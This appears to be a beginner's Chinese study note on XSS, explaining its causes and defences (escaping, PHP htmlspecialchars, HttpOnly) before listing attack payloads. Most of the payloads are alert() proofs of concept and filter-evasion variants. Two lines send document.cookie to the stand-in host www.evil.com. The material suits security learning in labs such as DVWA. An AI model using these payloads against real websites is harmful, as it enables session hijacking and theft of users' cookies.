XSS(文章仅仅作为学习分享,请勿用作违法途径)
XSS形成的原因:大都是前端或者后端的代码没有做输入或者输出数据的过滤。会被一些非法用户将一些恶意代码让其他用户通过浏览器来执行,导致泄露自己的cookie或者一些其他信息。
可能出现的场景:比如说:没做过滤的网站,或者一些安全性低的论坛,贴吧等等。当应用程序没有对用户提交的内容进行简单的验证和重新编码,而是直接呈现给网站的访问者时,就可能会触发XSS攻击。
XSS防御:使用黑名单或者白名单的手段进行。对HTML标签或特殊字符进行过过滤。对于反射型和存储型XSS,可以在数据返回给客户端浏览器时,对于敏感字符(比如说<>?:" " ' ')进行转义, 对于DOM型XSS,可以使用上下文敏感数据编码。如:在PHP中的htmlspecialchars()、htmlentities()函 数可以将一些预定义的字符转换为HTML实体,如:小于转化为<、大于转化为>、双引号转化为"、单引号转化为&apos、与转化 为&等。启用浏览器的HttpOnly特性可以组织客户端脚本访问cookie。如:在PHP中可以通过下面的代码设置cookie并启用HttpOnly。
攻击代码:
alert(document.cookie)alert(document.cookie)<script>alert(document.cookie)</script>读取网页中的cookie值。一般情况下会被过滤掉
'><script>alert(document.cookie)</script>闭合一些参数。
%3Cscript%3Ealert('XSS')%3C/script%3E经过了URL的编码,得到的可以放在URL上的攻击代码。
<img src=1 onerror=alert(document.cookie)>
javascript:alert(document.cookie)
<img src=javascript:alert('xss')
<IMG src=javascript:alert(‘xx’)
<script>alert(1);</script>
<script src="http://www.evil.com/cookie.php"></script>
<script>location.href="http://www.evil.com/cookie.php?cookie="+escape(document.cookie)</script>
<src<script>ipt>alert('xss');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xss/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS"\);</style>
<marquee><script>alert('xss')</script></marquee>
<IMG SRC=\"jaV	;ascript:alert('XSS');\">
"><script>alert(0)</script>
" onfocus=alert(document.domain)"><"
<body onLoad="while(true) alert('XSS'); ">
"></iframe><script>alert(111)</script>
<div style="background:url('javascript:alert(1)')">
<img src='javascript:alert("xss")'>
XSS靶场:xss-labs,pikachu,dvwa等。

注意:本人暂时还处于小白,如有问题请联系本人。还请各位大神指教。